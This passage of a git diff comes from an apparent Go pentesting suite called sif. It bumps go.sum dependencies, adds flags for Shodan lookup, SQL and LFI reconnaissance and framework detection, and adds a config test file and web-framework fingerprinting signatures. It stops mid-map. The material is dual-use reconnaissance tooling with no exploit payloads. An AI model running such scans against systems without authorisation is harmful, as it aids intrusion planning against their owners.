@@ -433,8 +427,8 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/rocketlaunchr/google-search v1.1.6 h1:DcSluQWDWEMqo6jp6OGllMTI9SBECpSmUZFntAX4j/o=
github.com/rocketlaunchr/google-search v1.1.6/go.mod h1:fk5J/qPpaRDjLWdFxT+dmuiqG7kxXArC7K8A+gj88Nk=
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc=
github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
@@ -477,8 +471,8 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
github.com/temoto/robotstxt v1.1.1/go.mod h1:+1AmkuG3IYkh1kv0d2qEB9Le88ehNO0zwOr3ujewlOo=
@@ -516,8 +510,8 @@ github.com/trivago/tgo v1.0.7 h1:uaWH/XIy9aWYWpjm2CU3RpcqZXmX2ysQ9/Go+d9gyrM=
github.com/trivago/tgo v1.0.7/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc=
github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/ulikunitz/xz v0.5.9/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY=
github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo=
@@ -599,8 +593,8 @@ golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5y
golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw=
golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54=
golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU=
golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 h1:vr/HnozRka3pE4EsMEg1lgkXJkTFJCVUX+S/ZT6wYzM=
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842/go.mod h1:XtvwrStGgqGPLc4cjQfWqZHG1YFdYs6swckp8vpsjnc=
@@ -610,8 +604,8 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.30.0 h1:fDEXFVZ/fmCKProc/yAXXUijritrDzahmwwefnjoPFk=
golang.org/x/mod v0.30.0/go.mod h1:lAsf5O2EvJeSFMiBxXDki7sCgAxEUcZHXoXMKT4GJKc=
golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -641,20 +635,20 @@ golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.28.0 h1:a9JDOJc5GMUJ0+UDqmLT86WiEy7iWyIhz8gz8E4e5hE=
golang.org/x/net v0.28.0/go.mod h1:yqtgsTWOOnlGLG9GFRrK3++bGOUEkNBoHZc8MEDWPNg=
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I=
golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU=
golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk=
golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw=
golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -688,8 +682,8 @@ golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.23.0 h1:YfKFowiIMvtgl1UERQoTPPToxltDeZfbj4H7dVUCwmM=
golang.org/x/sys v0.23.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk=
golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
@@ -699,8 +693,8 @@ golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.23.0 h1:F6D4vR+EHoL9/sWAWgAR1H2DcHr4PareCbAaCo1RpuU=
golang.org/x/term v0.23.0/go.mod h1:DgV24QBUrK6jhZXl+20l6UWznPlwAHm1Q1mGHtydmSk=
golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -711,8 +705,8 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc=
golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
@@ -727,8 +721,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/tools v0.39.0 h1:ik4ho21kwuQln40uelmciQPp9SipgNDdrafrYA4TmQQ=
golang.org/x/tools v0.39.0/go.mod h1:JnefbkDPyD8UU2kI5fuf8ZX4/yUeh9W877ZeBONxUqQ=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+8
View File
@@ -41,6 +41,10 @@ type Settings struct {
Headers bool
CloudStorage bool
SubdomainTakeover bool
Shodan bool
SQL bool
LFI bool
Framework bool
}
const (
@@ -83,6 +87,10 @@ func Parse() *Settings {
flagSet.BoolVar(&settings.Headers, "headers", false, "Enable HTTP Header Analysis"),
flagSet.BoolVar(&settings.CloudStorage, "c3", false, "Enable C3 Misconfiguration Scan"),
flagSet.BoolVar(&settings.SubdomainTakeover, "st", false, "Enable Subdomain Takeover Check"),
flagSet.BoolVar(&settings.Shodan, "shodan", false, "Enable Shodan lookup (requires SHODAN_API_KEY env var)"),
flagSet.BoolVar(&settings.SQL, "sql", false, "Enable SQL reconnaissance (admin panels, error disclosure)"),
flagSet.BoolVar(&settings.LFI, "lfi", false, "Enable LFI (Local File Inclusion) reconnaissance"),
flagSet.BoolVar(&settings.Framework, "framework", false, "Enable framework detection"),
)
flagSet.CreateGroup("runtime", "Runtime",
+157
View File
@@ -0,0 +1,157 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package config
import (
"testing"
"time"
)
func TestSettingsDefaults(t *testing.T) {
settings := &Settings{}
// noscan should default to false (base scan runs by default)
if settings.NoScan != false {
t.Errorf("expected NoScan default to be false, got %v", settings.NoScan)
}
// other scan flags should default to false
if settings.Dorking != false {
t.Errorf("expected Dorking default to be false, got %v", settings.Dorking)
}
if settings.Git != false {
t.Errorf("expected Git default to be false, got %v", settings.Git)
}
if settings.Nuclei != false {
t.Errorf("expected Nuclei default to be false, got %v", settings.Nuclei)
}
if settings.JavaScript != false {
t.Errorf("expected JavaScript default to be false, got %v", settings.JavaScript)
}
if settings.CMS != false {
t.Errorf("expected CMS default to be false, got %v", settings.CMS)
}
if settings.Headers != false {
t.Errorf("expected Headers default to be false, got %v", settings.Headers)
}
if settings.CloudStorage != false {
t.Errorf("expected CloudStorage default to be false, got %v", settings.CloudStorage)
}
if settings.SubdomainTakeover != false {
t.Errorf("expected SubdomainTakeover default to be false, got %v", settings.SubdomainTakeover)
}
// enum settings should default to empty string
if settings.Dirlist != "" {
t.Errorf("expected Dirlist default to be empty, got %v", settings.Dirlist)
}
if settings.Dnslist != "" {
t.Errorf("expected Dnslist default to be empty, got %v", settings.Dnslist)
}
if settings.Ports != "" {
t.Errorf("expected Ports default to be empty, got %v", settings.Ports)
}
}
func TestSettingsNoScanBehavior(t *testing.T) {
tests := []struct {
name string
noScan bool
shouldBaseScan bool
}{
{
name: "default - base scan should run",
noScan: false,
shouldBaseScan: true,
},
{
name: "noscan enabled - base scan should not run",
noScan: true,
shouldBaseScan: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
settings := &Settings{NoScan: tt.noScan}
// the condition in sif.go is: if !app.settings.NoScan { scan.Scan(...) }
shouldRun := !settings.NoScan
if shouldRun != tt.shouldBaseScan {
t.Errorf("expected shouldBaseScan=%v, got %v", tt.shouldBaseScan, shouldRun)
}
})
}
}
func TestSettingsTimeoutDefault(t *testing.T) {
settings := &Settings{}
// timeout defaults to zero value, actual default (10s) is set in Parse()
if settings.Timeout != 0 {
t.Errorf("expected Timeout zero value, got %v", settings.Timeout)
}
}
func TestSettingsThreadsDefault(t *testing.T) {
settings := &Settings{}
// threads defaults to zero value, actual default (10) is set in Parse()
if settings.Threads != 0 {
t.Errorf("expected Threads zero value, got %v", settings.Threads)
}
}
func TestSettingsWithValues(t *testing.T) {
settings := &Settings{
NoScan: true,
Dorking: true,
Git: true,
Nuclei: true,
JavaScript: true,
CMS: true,
Headers: true,
CloudStorage: true,
SubdomainTakeover: true,
Dirlist: "medium",
Dnslist: "large",
Ports: "common",
Timeout: 30 * time.Second,
Threads: 20,
Debug: true,
LogDir: "/tmp/logs",
ApiMode: true,
}
if !settings.NoScan {
t.Error("expected NoScan to be true")
}
if !settings.Dorking {
t.Error("expected Dorking to be true")
}
if settings.Dirlist != "medium" {
t.Errorf("expected Dirlist 'medium', got '%s'", settings.Dirlist)
}
if settings.Dnslist != "large" {
t.Errorf("expected Dnslist 'large', got '%s'", settings.Dnslist)
}
if settings.Ports != "common" {
t.Errorf("expected Ports 'common', got '%s'", settings.Ports)
}
if settings.Timeout != 30*time.Second {
t.Errorf("expected Timeout 30s, got %v", settings.Timeout)
}
if settings.Threads != 20 {
t.Errorf("expected Threads 20, got %d", settings.Threads)
}
}
-1
View File
@@ -97,7 +97,6 @@ func Dork(url string, timeout time.Duration, threads int, logdir string) ([]Dork
for i, dork := range dorks {
if i%threads != thread {
continue
}
+785
View File
@@ -0,0 +1,785 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package frameworks
import (
"fmt"
"io"
"math"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
type FrameworkResult struct {
Name string `json:"name"`
Version string `json:"version"`
Confidence float32 `json:"confidence"`
VersionConfidence float32 `json:"version_confidence"`
CVEs []string `json:"cves,omitempty"`
Suggestions []string `json:"suggestions,omitempty"`
RiskLevel string `json:"risk_level,omitempty"`
}
type FrameworkSignature struct {
Pattern string
Weight float32
HeaderOnly bool
}
var frameworkSignatures = map[string][]FrameworkSignature{
"Laravel": {
{Pattern: `laravel_session`, Weight: 0.4, HeaderOnly: true},
{Pattern: `XSRF-TOKEN`, Weight: 0.3, HeaderOnly: true},
{Pattern: `<meta name="csrf-token"`, Weight: 0.3},
},
"Django": {
{Pattern: `csrfmiddlewaretoken`, Weight: 0.4, HeaderOnly: true},
{Pattern: `csrftoken`, Weight: 0.3, HeaderOnly: true},
{Pattern: `django.contrib`, Weight: 0.3},
{Pattern: `django.core`, Weight: 0.3},
{Pattern: `__admin_media_prefix__`, Weight: 0.3},
},
"Ruby on Rails": {
{Pattern: `csrf-param`, Weight: 0.4, HeaderOnly: true},
{Pattern: `csrf-token`, Weight: 0.3, HeaderOnly: true},
{Pattern: `_rails_session`, Weight: 0.3, HeaderOnly: true},
{Pattern: `ruby-on-rails`, Weight: 0.3},
{Pattern: `rails-env`, Weight: 0.3},
{Pattern: `data-turbo`, Weight: 0.2},
},
"Express.js": {
{Pattern: `Express`, Weight: 0.5, HeaderOnly: true},
{Pattern: `connect.sid`, Weight: 0.3, HeaderOnly: true},
},
"ASP.NET": {
{Pattern: `X-AspNet-Version`, Weight: 0.5, HeaderOnly: true},
{Pattern: `X-AspNetMvc-Version`, Weight: 0.5, HeaderOnly: true},
{Pattern: `ASP.NET`, Weight: 0.4, HeaderOnly: true},
{Pattern: `__VIEWSTATE`, Weight: 0.4},
{Pattern: `__EVENTVALIDATION`, Weight: 0.3},
{Pattern: `__VIEWSTATEGENERATOR`, Weight: 0.3},
{Pattern: `.aspx`, Weight: 0.2},
{Pattern: `.ashx`, Weight: 0.2},
{Pattern: `.asmx`, Weight: 0.2},
{Pattern: `asp.net_sessionid`, Weight: 0.4, HeaderOnly: true},
{Pattern: `X-Powered-By: ASP.NET`, Weight: 0.4, HeaderOnly: true},
},
"ASP.NET Core": {
{Pattern: `.AspNetCore.`, Weight: 0.5, HeaderOnly: true},
{Pattern: `blazor`, Weight: 0.4},
{Pattern: `_blazor`, Weight: 0.4},
{Pattern: `dotnet`, Weight: 0.2, HeaderOnly: true},
},
"Spring": {
{Pattern: `org.springframework`, Weight: 0.4, HeaderOnly: true},
{Pattern: `spring-security`, Weight: 0.3, HeaderOnly: true},
{Pattern: `JSESSIONID`, Weight: 0.3, HeaderOnly: true},
{Pattern: `X-Application-Context`, Weight: 0.3, HeaderOnly: true},
},
"Spring Boot": {
{Pattern: `spring-boot`, Weight: 0.5},
{Pattern: `actuator`, Weight: 0.3},
{Pattern: `whitelabel`, Weight: 0.2},
},
"Flask": {
{Pattern: `Werkzeug`, Weight: 0.4, HeaderOnly: true},
{Pattern: `flask`, Weight: 0.3, HeaderOnly: true},
{Pattern: `jinja2`, Weight: 0.3},
},
"Next.js": {
{Pattern: `__NEXT_DATA__`, Weight: 0.5},
{Pattern: `_next/static`, Weight: 0.4},
{Pattern: `__next`, Weight: 0.3},
{Pattern: `x-nextjs`, Weight: 0.3, HeaderOnly: true},
},
"Nuxt.js": {
{Pattern: `__NUXT__`, Weight: 0.5},
{Pattern: `_nuxt/`, Weight: 0.4},
{Pattern: `nuxt`, Weight: 0.2},
},
"Vue.js": {
{Pattern: `data-v-`, Weight: 0.5},
{Pattern: `Vue.js`, Weight: 0.4},
{Pattern: `vue.runtime`, Weight: 0.4},
{Pattern: `vue.min.js`, Weight: 0.4},
{Pattern: `__vue__`, Weight: 0.3},
{Pattern: `v-cloak`, Weight: 0.3},
},
"Angular": {
{Pattern: `ng-version`, Weight: 0.5},
{Pattern: `ng-app`, Weight: 0.4},
{Pattern: `ng-controller`, Weight: 0.4},
{Pattern: `angular.js`, Weight: 0.4},
{Pattern: `angular.min.js`, Weight: 0.4},
{Pattern: `ng-binding`, Weight: 0.3},
{Pattern: `_nghost`, Weight: 0.3},
{Pattern: `_ngcontent`, Weight: 0.3},
},
"React": {
{Pattern: `data-reactroot`, Weight: 0.5},
{Pattern: `react-dom`, Weight: 0.4},
{Pattern: `__REACT_DEVTOOLS`, Weight: 0.4},
{Pattern: `react.production`, Weight: 0.4},
{Pattern: `_reactRootContainer`, Weight: 0.3},
},
"Svelte": {
{Pattern: `svelte`, Weight: 0.4},
{Pattern: `__svelte`, Weight: 0.5},
{Pattern: `svelte-`, Weight: 0.3},
},
"SvelteKit": {
{Pattern: `__sveltekit`, Weight: 0.5},
{Pattern: `_app/immutable`, Weight: 0.4},
{Pattern: `sveltekit`, Weight: 0.3},
},
"Remix": {
{Pattern: `__remixContext`, Weight: 0.5},
{Pattern: `remix`, Weight: 0.3},
{Pattern: `_remix`, Weight: 0.4},
},
"Gatsby": {
{Pattern: `___gatsby`, Weight: 0.5},
{Pattern: `gatsby-`, Weight: 0.4},
{Pattern: `page-data.json`, Weight: 0.3},
},
"WordPress": {
{Pattern: `wp-content`, Weight: 0.4},
{Pattern: `wp-includes`, Weight: 0.4},
{Pattern: `wp-json`, Weight: 0.3},
{Pattern: `wordpress`, Weight: 0.3},
{Pattern: `wp-emoji`, Weight: 0.2},
},
"Drupal": {
{Pattern: `Drupal`, Weight: 0.4, HeaderOnly: true},
{Pattern: `drupal.js`, Weight: 0.4},
{Pattern: `/sites/default/files`, Weight: 0.3},
{Pattern: `Drupal.settings`, Weight: 0.3},
},
"Joomla": {
{Pattern: `Joomla`, Weight: 0.4},
{Pattern: `/media/jui/`, Weight: 0.4},
{Pattern: `/components/com_`, Weight: 0.3},
{Pattern: `joomla.javascript`, Weight: 0.3},
},
"Magento": {
{Pattern: `Magento`, Weight: 0.4},
{Pattern: `/static/frontend/`, Weight: 0.4},
{Pattern: `mage/`, Weight: 0.3},
{Pattern: `Mage.Cookies`, Weight: 0.3},
},
"Shopify": {
{Pattern: `Shopify`, Weight: 0.5},
{Pattern: `cdn.shopify.com`, Weight: 0.4},
{Pattern: `shopify-section`, Weight: 0.4},
{Pattern: `myshopify.com`, Weight: 0.3},
},
"Ghost": {
{Pattern: `ghost-`, Weight: 0.4},
{Pattern: `Ghost`, Weight: 0.3, HeaderOnly: true},
{Pattern: `/ghost/api/`, Weight: 0.4},
},
"Symfony": {
